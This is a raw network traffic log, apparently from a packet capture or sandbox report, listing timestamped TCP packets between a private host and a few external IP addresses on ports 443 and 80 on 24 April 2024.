Apr 24, 2024 15:44:07.358557940 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.358589888 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.358606100 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.398375034 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.398396969 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.592087030 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.592300892 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.592405081 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.592627048 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.592657089 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.747214079 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.747318029 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.747555971 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.747637033 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.747662067 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.747674942 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.747719049 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:21.733441114 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:44:22.067894936 CEST	80	49723	87.240.132.72	192.168.2.17
Apr 24, 2024 15:44:30.507252932 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:30.507299900 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.507406950 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:30.507785082 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:30.507801056 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.842896938 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.843302965 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:30.843327045 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.843636036 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.844022989 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:30.844079018 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:30.899318933 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.064209938 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.065618038 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.065733910 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.065866947 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.066047907 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.066087008 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.112116098 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.395469904 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.395900011 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.395941019 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.396292925 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.396687984 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.396755934 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.446404934 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.696410894 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.696547985 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.696621895 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.696635962 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.696665049 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.696715117 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.696753025 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.696984053 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.697038889 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.697468996 CEST	49803	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.697490931 CEST	443	49803	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.706744909 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.707806110 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.707875967 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.707982063 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.708187103 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.708221912 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.708317041 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.708503962 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.708537102 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.708718061 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:33.708736897 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:33.752121925 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.042879105 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.043240070 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.043298960 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.043858051 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.044162035 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.044265985 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.044295073 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.044312000 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.044502020 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.044521093 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.045641899 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.045917988 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.045995951 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.046001911 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.046092987 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.085350990 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.085380077 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.100328922 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.345026016 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345078945 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345122099 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345150948 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345184088 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.345261097 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345304012 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.345396042 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345447063 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.345463991 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345752001 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345788002 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345803022 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.345818043 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.345882893 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.346467972 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.346532106 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.346579075 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.346594095 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.347310066 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.347357988 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.347368002 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.347383976 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.347434998 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.347446918 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.348262072 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.348306894 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.348324060 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.348337889 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.348393917 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.348406076 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.349165916 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.349205971 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.349229097 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.349242926 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.349308014 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.349989891 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.399323940 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.399341106 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.447366953 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.494396925 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.494661093 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.494697094 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.494740009 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.494779110 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.494832993 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.495121002 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.495474100 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.495534897 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.495536089 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.495552063 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.495599985 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.495615005 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.496486902 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.496541977 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.496556044 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.496680021 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.496732950 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.496747017 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.497313023 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.497400999 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.497414112 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.498246908 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.498333931 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.498347044 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.498414040 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.505064011 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.505143881 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.505872011 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.505940914 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.507015944 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.507102013 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.507142067 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.507196903 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.507585049 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.507651091 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.508760929 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.508856058 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.509258986 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.509326935 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.509337902 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.509362936 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.509393930 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.509429932 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.509608030 CEST	49804	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.509643078 CEST	443	49804	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.713980913 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714128971 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714195013 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.714219093 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714312077 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714365959 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.714375973 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714466095 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714519024 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.714525938 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714649916 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.714701891 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.715045929 CEST	49806	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.715065956 CEST	443	49806	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720447063 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720592022 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720665932 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.720684052 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720712900 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720756054 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.720802069 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.720959902 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.721016884 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.721044064 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.721210003 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.721278906 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.721292019 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.721381903 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.721441031 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.721451998 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.722178936 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.722249031 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.722259998 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.722362995 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.722412109 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.722423077 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.723067999 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.723139048 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.723150969 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.723233938 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.723299980 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.723311901 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.724050045 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.724134922 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.724147081 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.724235058 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.724303007 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.724318981 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.724946976 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.725011110 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.725023031 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.725116968 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.725168943 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.725181103 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.725903034 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.725966930 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.725980997 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.726739883 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.726804972 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.726815939 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.726914883 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.726979017 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.726989031 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.727639914 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.727710009 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.727720022 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.727798939 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.727858067 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.727869987 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.782428026 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.868381023 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.868547916 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.868630886 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.868662119 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.868841887 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.868904114 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.869102001 CEST	49805	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.869132996 CEST	443	49805	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.889264107 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.889349937 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:34.889511108 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.889749050 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:34.889784098 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.225657940 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.226855040 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.226890087 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.228054047 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.228494883 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.228636980 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.228647947 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.228671074 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.275356054 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.910130024 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910306931 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910388947 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.910449982 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910535097 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910594940 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.910609007 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910703897 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910757065 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.910768032 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910861015 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.910912991 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.910923004 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.911106110 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.911159992 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.911170959 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.911243916 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.911305904 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.911317110 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.912159920 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.912220955 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.912231922 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.913163900 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.913228035 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.913239002 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.913324118 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.913388014 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.913398981 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914000988 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914061069 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.914072990 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914258003 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914335012 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.914339066 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914366961 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914410114 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.914460897 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914592028 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.914608955 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914632082 CEST	443	49807	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.914675951 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.914709091 CEST	49807	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.917093992 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.917139053 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.917226076 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.917562008 CEST	49808	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.917589903 CEST	443	49808	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.917924881 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.917963982 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.918030024 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.918294907 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.918314934 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.918587923 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.918623924 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.918669939 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.918834925 CEST	49810	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.918847084 CEST	443	49810	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.931431055 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.931508064 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:35.931585073 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.931750059 CEST	49811	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:35.931799889 CEST	443	49811	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.248377085 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.248653889 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.248692989 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.249017000 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.249314070 CEST	49809	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:44:36.249418974 CEST	443	49809	104.21.50.148	192.168.2.17
Apr 24, 2024 15:44:36.249450922 CEST	49809	443	192.168.2.17	104.21.50.148
